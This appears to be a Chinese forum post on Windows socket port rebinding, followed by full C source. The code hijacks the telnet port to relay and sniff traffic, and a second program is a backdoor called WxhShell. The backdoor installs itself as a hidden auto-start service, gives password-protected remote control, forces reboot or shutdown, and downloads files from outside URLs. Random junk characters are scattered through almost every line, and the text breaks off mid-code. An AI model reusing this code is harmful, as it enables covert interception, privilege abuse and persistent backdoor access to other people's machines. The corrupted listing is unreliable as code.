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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +1K9R\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^|z  
S nMHk3(\  
  saddr.sin_family = AF_INET; $1Lm=2;U  
yv.UNcP?  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 0?D`|x_  
4t(V)1+  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); m=Z1DJG  
}CR@XD}[  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 N2!HkUy2  
`iX~cUQ  
  这意味着什么?意味着可以进行如下的攻击: w8|38m  
7=YjY)6r^  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @"`J~uK  
%;SOe9  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) G~oGBq6Gz  
+Om(&\c(6  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 vd@ _LcK  
ryd*Ha">I  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {x3"/sF  
~^U(GAs  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 4g}eqW  
;C1]gJZ,  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *x^W`i   
w7.I0)MH  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 vOb=>  
TFX*kk &R  
  #include >680}\S  
  #include S7tc  
  #include VEolyPcsg&  
  #include    gm**9]k^{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   K._tCB:  
  int main() I}5#!s< {&  
  { J#tGQO  
  WORD wVersionRequested; !n<vN@V*3d  
  DWORD ret; %R%e0|a  
  WSADATA wsaData; 8pc=Oor2Tv  
  BOOL val; ;&|MNN^  
  SOCKADDR_IN saddr; gZ!vRO <%  
  SOCKADDR_IN scaddr; wnaT~r@U'  
  int err; aS^ 4dEJ  
  SOCKET s; \t LfB[S.5  
  SOCKET sc; /{eD##vhP  
  int caddsize; b)+;#m  
  HANDLE mt; s~ZLnEb  
  DWORD tid;   `QH-VR\_  
  wVersionRequested = MAKEWORD( 2, 2 ); SxC   
  err = WSAStartup( wVersionRequested, &wsaData ); Fdgu=qMm  
  if ( err != 0 ) { PcXz4?Q$  
  printf("error!WSAStartup failed!\n"); ?Y:>Ouv*z'  
  return -1; 3},0b8};  
  } 58x=CN\QU  
  saddr.sin_family = AF_INET; $wL zaZL|  
   >t-9yO1XQq  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 {> T r22S  
J2X;=X5  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); LKCj@NdV  
  saddr.sin_port = htons(23); 6,nws5dh  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Wb*A};wE  
  { n H)6mOYp  
  printf("error!socket failed!\n"); <cQ)*~hN  
  return -1; s?=v@|vz)  
  } _#6_7=g@s6  
  val = TRUE; u n{LwZH  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -;/;dz;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) |9YY8oT.  
  { (vX+ Yw  
  printf("error!setsockopt failed!\n"); R`? '|G]P  
  return -1; 0 K T.@P  
  } `)sC".b7  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; @" -[@  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 K `|%-k+D  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 jV83%%e  
8lG@8tbW^  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -+^E5  
  { zZ rUS'8  
  ret=GetLastError(); clE_a?  
  printf("error!bind failed!\n"); rkdf htpI  
  return -1; 1P (5+9"s  
  } aS ]bTYJ'  
  listen(s,2); T%GdvtmS>  
  while(1) 2g>4fZ  
  { ,BGaJ|k  
  caddsize = sizeof(scaddr); :#CQQ*@  
  //接受连接请求 wc&%icF*cr  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); MHh>~Y(h  
  if(sc!=INVALID_SOCKET) ]njObU)[zr  
  { }m!L2iK4qk  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3v~804kWB  
  if(mt==NULL) JmHEYPt0  
  { (/x%zmY;/U  
  printf("Thread Creat Failed!\n"); nE_g^  
  break; u4 ##*m  
  } U^ bF}4m  
  } %Vf3r9 z  
  CloseHandle(mt); -4  ~(*  
  } 99GzhX_  
  closesocket(s); gXrPZ|iS  
  WSACleanup(); 6[r-8_  
  return 0; x+?P/Ckg  
  }   Mf 7 Z5  
  DWORD WINAPI ClientThread(LPVOID lpParam) $ {Y? jJ  
  { &NvvaqJ  
  SOCKET ss = (SOCKET)lpParam; iUNlNl ?  
  SOCKET sc; A .]o&S}  
  unsigned char buf[4096]; : ,0F_["3  
  SOCKADDR_IN saddr; _!vxX ]  
  long num; }/dGC;p"  
  DWORD val; r]GG9si  
  DWORD ret; ]r]=Q"/5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 P0 R8 f  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    t 0 $}  
  saddr.sin_family = AF_INET; 5u\#@% \6  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,;RAPT4  
  saddr.sin_port = htons(23); s8i@HO  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) FU;b8{Y  
  { \6]Uj+  
  printf("error!socket failed!\n"); 9$]I3k  
  return -1; ccUI\!TD{/  
  } Y9YE:s  
  val = 100; kU*Fif  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ??X3teO{  
  { <4l;I*:2&  
  ret = GetLastError(); [SnnOqWw  
  return -1; wrORyj  
  } Z/ Vb_  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Me*woCos'  
  { %(f&).W  
  ret = GetLastError(); ssf.ef$  
  return -1; 3&39M&  
  } l1<]pdLTR  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) dm;C @.ML  
  { @m#1[n;  
  printf("error!socket connect failed!\n"); n'WhCrW  
  closesocket(sc); _9y  
  closesocket(ss); 6),U(e%  
  return -1; puv/+!q  
  }  l,}^<P]  
  while(1) =g]Ln)jc  
  { R 4= ~  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 itH` s<E  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 17hFwo`  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ';HNQe?vT  
  num = recv(ss,buf,4096,0); E{):z g  
  if(num>0) etcpto=Mo  
  send(sc,buf,num,0); BQ[,(T`+R  
  else if(num==0) (z8^^j[  
  break; z}772hMB  
  num = recv(sc,buf,4096,0); p\>im+0oh  
  if(num>0) |sG@Ku7~4  
  send(ss,buf,num,0); Bu%TTbnz_G  
  else if(num==0) /'yi!:FZFC  
  break; Iu3*`H  
  } F<W`zQ46  
  closesocket(ss); :6N'%LKK  
  closesocket(sc); s":\ >  
  return 0 ; 5eP0W#  
  } ,McwPHEMB  
c8R#=^ DD  
t<UtSkE1  
========================================================== fo$5WTY  
58vq5j<V  
下边附上一个代码,,WXhSHELL 4u!<3-3Zy  
<@+>A$~0  
========================================================== }3^b1D>2O  
4`KQ@m  
#include "stdafx.h" W*S !}ZT`  
;!k{{Xndd  
#include <stdio.h> -Hx._I$l  
#include <string.h> f:w#r.]  
#include <windows.h> |I0O|Zdv  
#include <winsock2.h> q?9x0L  
#include <winsvc.h> RV%aFI )  
#include <urlmon.h> :!fP~(R'm  
|FR'?y1  
#pragma comment (lib, "Ws2_32.lib") L`iC?<}  
#pragma comment (lib, "urlmon.lib") O8!> t7x  
t;^NgkP{$  
#define MAX_USER   100 // 最大客户端连接数 JA")L0a_  
#define BUF_SOCK   200 // sock buffer #z( JYw,  
#define KEY_BUFF   255 // 输入 buffer x)^/3  
u U|fCwQt  
#define REBOOT     0   // 重启 Z'u:Em  
#define SHUTDOWN   1   // 关机 )P)Zds@F  
| e&v;48  
#define DEF_PORT   5000 // 监听端口 =Wgz\uGJ  
31FQ=(K  
#define REG_LEN     16   // 注册表键长度 .q!U@}k.  
#define SVC_LEN     80   // NT服务名长度 AV t(e6H  
WNE=|z#|  
// 从dll定义API \[!k`6#t7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <`rl[C{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); CO)BF%?B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L\`uD  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); XBTtfl &  
{H\(H _X  
// wxhshell配置信息 gG>|5R0  
struct WSCFG { A,WZ}v}_  
  int ws_port;         // 监听端口 BLno/JK0}  
  char ws_passstr[REG_LEN]; // 口令 D09/(%4j  
  int ws_autoins;       // 安装标记, 1=yes 0=no t V]BcDp  
  char ws_regname[REG_LEN]; // 注册表键名 hYj!*P)uV  
  char ws_svcname[REG_LEN]; // 服务名 )|d]0/<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 c~bTK" u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =}8:zO 2'{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 GfG!CG^ %  
int ws_downexe;       // 下载执行标记, 1=yes 0=no G"xa"hGF  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" EYLqg`2A  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6)@Y41H]C  
&+K:pU?[$  
}; ?6m6 4{M  
|q( .j4[i  
// default Wxhshell configuration [r)Hm/_=|U  
struct WSCFG wscfg={DEF_PORT, "b#L8kN  
    "xuhuanlingzhe", ne~=^IRB  
    1, B\tP{}P8{  
    "Wxhshell", DGQGV[9%4C  
    "Wxhshell", _Di";fe?  
            "WxhShell Service", O|Z5SSlk  
    "Wrsky Windows CmdShell Service", mvCH$}w8&  
    "Please Input Your Password: ", NrNxI'M G  
  1, ++Z,U  
  "http://www.wrsky.com/wxhshell.exe", &~6W!w  
  "Wxhshell.exe" [ q<Vm-  
    }; pyf/%9R:d  
}u CC~ <^  
// 消息定义模块 &idPO{G  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j9bn|p$DA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,rC$~ &  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8}Qmhm`_j=  
char *msg_ws_ext="\n\rExit."; nWyn}+C-  
char *msg_ws_end="\n\rQuit."; ~ .dmfA{  
char *msg_ws_boot="\n\rReboot..."; 7e`ylnP!  
char *msg_ws_poff="\n\rShutdown..."; C5W} o:jE  
char *msg_ws_down="\n\rSave to "; jMH=lQ+8  
"< c,I=A  
char *msg_ws_err="\n\rErr!";  UE-+P  
char *msg_ws_ok="\n\rOK!"; AWXBk+  
/c>@^  
char ExeFile[MAX_PATH]; =Eh~ wm  
int nUser = 0; sNF[-,a  
HANDLE handles[MAX_USER]; ;(Xig$k  
int OsIsNt; hm&cRehU  
~0^d-,ZD5  
SERVICE_STATUS       serviceStatus; l1EI4Y9KG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }kCaTI?@#  
Oh|KbM*vS  
// 函数声明 =:5o"g  
int Install(void); Q`ALyp,9b  
int Uninstall(void); p1O[QQ|  
int DownloadFile(char *sURL, SOCKET wsh); xv+47.?N  
int Boot(int flag); Q96"^Hd  
void HideProc(void); ?FRuuAS  
int GetOsVer(void); gaIN]9wLm  
int Wxhshell(SOCKET wsl); ]{/1F:bcQ  
void TalkWithClient(void *cs); Y[8GoqE|  
int CmdShell(SOCKET sock); .[qm>j,  
int StartFromService(void); 9(CY"Tc3  
int StartWxhshell(LPSTR lpCmdLine); T+0Z2H  
"E6*.EtTN#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Rl%?c5U/$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); : }q~<  
_UqE -+&  
// 数据结构和表定义 nKO4o8js{{  
SERVICE_TABLE_ENTRY DispatchTable[] = D=0^" 7K  
{ m"r=p  
{wscfg.ws_svcname, NTServiceMain}, "6<L) 8  
{NULL, NULL} :O~*}7G  
}; lo!.%PP|  
>[D(<b(U&  
// 自我安装 X }W4dpU,  
int Install(void) *Bse3%-v  
{ }1sFddGVt  
  char svExeFile[MAX_PATH]; '&OJ hLE  
  HKEY key; rZK;=\Ot  
  strcpy(svExeFile,ExeFile); 4|]0%H~n6  
[|&V$  
// 如果是win9x系统,修改注册表设为自启动 9c}mAg4  
if(!OsIsNt) { a9"1a'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KcK,%!>B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k|Syw ATr  
  RegCloseKey(key); ~kJ}Z<e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q, `:RF3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y]33:c_;Mo  
  RegCloseKey(key); ^qro0]"LD  
  return 0; L2j7w006  
    } >p[skN   
  } lO>9Q]S<  
} -fA1_ ?7S  
else { DMcH, _(  
k-zkb2  
// 如果是NT以上系统,安装为系统服务 q9^6A90  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); JJ+A+sfdk  
if (schSCManager!=0) y;r{0lTB  
{ 7SyysH<H  
  SC_HANDLE schService = CreateService +4r.G(n),  
  ( bh~"LQS1  
  schSCManager, @uJ^k >B  
  wscfg.ws_svcname, M(8Mj[>>Rj  
  wscfg.ws_svcdisp, h5do?b v!  
  SERVICE_ALL_ACCESS, uDWxIP,m  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , oQS_rv\Ber  
  SERVICE_AUTO_START, 3R=R k  
  SERVICE_ERROR_NORMAL, I=DvP;!  
  svExeFile, 3`mM0,fY  
  NULL, z5|m`$gy  
  NULL, ALOS>Bi&  
  NULL, icw (y(W  
  NULL, "~|;XoMU  
  NULL 1>pFUf|cV  
  ); 43HZ)3!me  
  if (schService!=0) &l0-0 T>  
  { FB\lUO)U\c  
  CloseServiceHandle(schService); us0{y7(p  
  CloseServiceHandle(schSCManager); 6zf3A:]&{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); cj5; XK  
  strcat(svExeFile,wscfg.ws_svcname); !gKz=-C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1\{_bUZ&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Bw`7ND}&  
  RegCloseKey(key); W7 .Y`u[  
  return 0; \H -,^[G3  
    } q"uP%TN  
  } RY4b <i3  
  CloseServiceHandle(schSCManager); &W|r P(  
} 6iZ:0y0t+6  
} ,e{|[k  
A$a>=U|Z8  
return 1; Q6e;hl  
} O5lP92],  
*Bj7\8cKC  
// 自我卸载 nB+UxU@  
int Uninstall(void) p#  4@  
{ 9wB}EDZ  
  HKEY key; "+@>!U  
iYE7BUH=  
if(!OsIsNt) {  uK_R#^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,Q2?Z :l  
  RegDeleteValue(key,wscfg.ws_regname); OZ9ud ]@\  
  RegCloseKey(key); r@.3.Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9cO m$  
  RegDeleteValue(key,wscfg.ws_regname); ~ZN]2}  
  RegCloseKey(key); O*:8gu'Y2  
  return 0; |LwW/>I  
  } B4>kx#LR  
} c'LDHh7b  
} s.8]qQRr  
else { TlA*~HG<Q  
iax6o+OG|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F\H^=P  
if (schSCManager!=0) Jm5&6=  
{ bTrQ(qp  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -2\%?A6L  
  if (schService!=0) j0]|$p  
  { `O'@TrI  
  if(DeleteService(schService)!=0) { `n{yls7.  
  CloseServiceHandle(schService); G=Qslrtg  
  CloseServiceHandle(schSCManager); i]L4kh5  
  return 0; G9_M~N%a  
  } >e4w8Svcy  
  CloseServiceHandle(schService); aglW\L T^  
  } }z/Y Hv%  
  CloseServiceHandle(schSCManager); pEn3:.l<  
} .0eHP  
} cfg_xrW0^  
w{HDCPuS  
return 1; NETji:d  
} ndY1j5  
t622b?w  
// 从指定url下载文件 |}O9'fyU8  
int DownloadFile(char *sURL, SOCKET wsh) $:aKb#l)  
{ dl%KD8  
  HRESULT hr; R[/]iK+!&  
char seps[]= "/"; kV mJG#  
char *token; 1q&gTvIp  
char *file; ?d? cD  
char myURL[MAX_PATH]; )iiwxpdw  
char myFILE[MAX_PATH]; [8b,}i 1  
u40k9vh  
strcpy(myURL,sURL); 'g$a.75/-  
  token=strtok(myURL,seps); x9Qa.Jmj  
  while(token!=NULL) #3L=\j[ y  
  { eL7rX"!  
    file=token; sHr!GF  
  token=strtok(NULL,seps); * YhX6J1  
  } 8r 4 L4  
qZ8 V/  
GetCurrentDirectory(MAX_PATH,myFILE); ,XZ[L? >  
strcat(myFILE, "\\"); BUozpqN}  
strcat(myFILE, file); YnCWmlC  
  send(wsh,myFILE,strlen(myFILE),0); DW,fh8w  
send(wsh,"...",3,0); k/|j e~$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3cp"UU}.  
  if(hr==S_OK) j1LL[+G-"_  
return 0; -c1$>+  
else KT5"/fv  
return 1; DJF-J#  
6J\Yi)v<  
} >;ucwLi  
TN=MZ{L  
// 系统电源模块 'aWzam>  
int Boot(int flag) <<Fk[qMA  
{ wJ| wAS  
  HANDLE hToken; B_B~Y8=3`  
  TOKEN_PRIVILEGES tkp; /^ d!$v  
jq4{UW'  
  if(OsIsNt) { fR4O^6c:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :h|nV ~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,B,2t u2  
    tkp.PrivilegeCount = 1; tvC7LLNP<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @Lj28&4:<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); cX64 X  
if(flag==REBOOT) { Ux2p qPb  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) gda3{g7<)  
  return 0; u/@dWeY[]  
} aXSTA ,%  
else { |VC/ (A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b ~Qd9 Nf  
  return 0; Tn# >"Ag  
} igV4nL  
  } FDHa|<oz  
  else { E+65  
if(flag==REBOOT) { JQ*CF(9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) sf|[oD  
  return 0; TV>UD q  
} CVi3nS5Yl  
else { ;tR,w   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) D [#1~M  
  return 0; qYMTud[Vf  
} A3UC=z<y  
} iG[an*#X  
JvHGu&Nr!  
return 1; y`~[R7E  
} ((U-JeFW   
S> f8j?n  
// win9x进程隐藏模块 sQT0y(FW  
void HideProc(void) T1@]:`&  
{ Y dgaZJs  
j HOE%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q6cF <L`bW  
  if ( hKernel != NULL ) V9 pKb X  
  { v :YW[THre  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]hBp elKJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nnU &R  
    FreeLibrary(hKernel); B=:7N;BT  
  } cD6$C31Y]  
@x>J-Owd]J  
return; lW,rzJ1  
} i%+p\eeq*  
y@|gG&f T  
// 获取操作系统版本 NhxTSyT"t  
int GetOsVer(void) H\f.a R=  
{ -Kj^ l3w  
  OSVERSIONINFO winfo; 0ih=<@1K  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); o)P'H"Ki  
  GetVersionEx(&winfo); Y9TaU]7]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [T;0vv8  
  return 1; O)'Bx=S4Ke  
  else pI>i1f=W  
  return 0; m CFScT  
} `N~;X~XFk  
npH2&6Yhi^  
// 客户端句柄模块 uvK1gJrA)  
int Wxhshell(SOCKET wsl) R}Ih~zw  
{ :N~1fvx  
  SOCKET wsh; ;a/Gs^W  
  struct sockaddr_in client; Tn+6:<OFdO  
  DWORD myID; 9L}=xX`>?  
i#t)tM"  
  while(nUser<MAX_USER) +2kJuoj:  
{ /?%zNkcxu  
  int nSize=sizeof(client); ;}b.gpG  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4VjP:>*p  
  if(wsh==INVALID_SOCKET) return 1; HR55|`]  
;zD1#dD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fA u^%jiU  
if(handles[nUser]==0) -.|V S|y  
  closesocket(wsh); C?e1 a9r  
else .0:t wj  
  nUser++; [s-Km/  
  } Uhc2`r#q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k0{5)Su"xr  
*5k" v"NM(  
  return 0; ZM/*cA!"  
} n|vIo)  
-X~VXeg  
// 关闭 socket I3QK~ V*j)  
void CloseIt(SOCKET wsh) T`f6`1x  
{ :,$:@  
closesocket(wsh); MfhJb_q`  
nUser--; LYPjdp2>"o  
ExitThread(0); W'2|hP  
} {I|iUfy  
hL#5:~(  
// 客户端请求句柄 $UMxO`F  
void TalkWithClient(void *cs) '~{^c}  
{ GZ# 6}/;b  
gaaW:**y  
  SOCKET wsh=(SOCKET)cs; 0^4uZeW?  
  char pwd[SVC_LEN]; ZPWY0&9  
  char cmd[KEY_BUFF]; ~^QL"p:5|  
char chr[1]; >|L,9lR_b  
int i,j; oHkF>B [  
?b0VB  
  while (nUser < MAX_USER) { MR/jM@8  
(MiEXU~v  
if(wscfg.ws_passstr) { TC1#2nE&T  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k:nR'TI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;7"}I  
  //ZeroMemory(pwd,KEY_BUFF); ^w.x~#zI  
      i=0; ID" '`DKxe  
  while(i<SVC_LEN) { xmxfXW  
. KJ EA #  
  // 设置超时 r3oAP[+n  
  fd_set FdRead; [vkz<sL"  
  struct timeval TimeOut; M7 &u_Cn?  
  FD_ZERO(&FdRead); E~5r8gM,0  
  FD_SET(wsh,&FdRead); .L[WvAo  
  TimeOut.tv_sec=8; F i?2sa  
  TimeOut.tv_usec=0; L-\-wXg%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0x!XE|7I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {dV#"+  
MhN)ZhsC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rK W<kQT  
  pwd=chr[0]; AAjsb<P  
  if(chr[0]==0xd || chr[0]==0xa) { 6'UtB!gr  
  pwd=0; l/,O9ur-  
  break; U`_(Lq%5W  
  } ,.tv#j|A  
  i++; YB/A0J  
    } ooY2"\o  
Tx%6whd/'  
  // 如果是非法用户,关闭 socket &K5wCNX1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i.I iwe0G  
} >;}np F>  
(3`Q`o;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k;PQVF&E  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DQM\Y{y|3  
d:C-   
while(1) { <:)T7yVq  
S 8mqz.  
  ZeroMemory(cmd,KEY_BUFF); Q#8}pBw  
w}VS mt$F  
      // 自动支持客户端 telnet标准   R4G$!6Ld  
  j=0; 'NF_!D  
  while(j<KEY_BUFF) { Z,/BPK<e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u1a5Vtel  
  cmd[j]=chr[0]; rMIr&T  
  if(chr[0]==0xa || chr[0]==0xd) { n.]K"$230  
  cmd[j]=0; 2'_xg~  
  break; }:C4T*|  
  } ri&B%AAc  
  j++; !={Z]J  
    } ;o]'7qGb  
:IDD(<^9  
  // 下载文件 ; mF-y,E  
  if(strstr(cmd,"http://")) { dxbP'2~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); YXxaD@  
  if(DownloadFile(cmd,wsh)) _7>$'V{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); cUssF%ud]  
  else \D(6t!Ox  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GGk.-Ew@  
  } U.<';fKnT  
  else { J >Zd0Dn  
/v"u4Ipj  
    switch(cmd[0]) { U^SJWYi<Y  
  mMm_=cfv  
  // 帮助 .|XIF   
  case '?': { I=X-e#HM?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Wf/Gt\?  
    break; n5 dFp%k  
  } O, 6U pk  
  // 安装 Q':xi;?Kt  
  case 'i': { 2C^/;z  
    if(Install()) iEr Y2~?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~;O|$xL  
    else .VN"j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )O~LXK=b  
    break; Iih~W&  
    } [<P(S~J  
  // 卸载 P3 se"pP  
  case 'r': { f3Ior.n(  
    if(Uninstall()) P.mz$M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \G}EI|Wo  
    else V.5gxr3QqW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d{2+> >d  
    break; 1P(rgn:8e  
    } rLO1Sv  
  // 显示 wxhshell 所在路径 wjW>#DE  
  case 'p': { @ qWgokf  
    char svExeFile[MAX_PATH]; r# MJ  
    strcpy(svExeFile,"\n\r"); tr0P ;}=  
      strcat(svExeFile,ExeFile); {vh}f+2  
        send(wsh,svExeFile,strlen(svExeFile),0); FOiwB^$ >  
    break; 2iHD$tw  
    } W|J8QNL?jm  
  // 重启 ?{l}35Q.@  
  case 'b': { n;8[WR)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?.E6Ube  
    if(Boot(REBOOT)) ^6s<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ogQY"c8  
    else { NXsDn&&O  
    closesocket(wsh); 4eTfb  
    ExitThread(0); s>(OK.o  
    } }eh<F^  
    break; 7K3S\oPej  
    } -b+VzVJZ  
  // 关机 Cm g(# $ X  
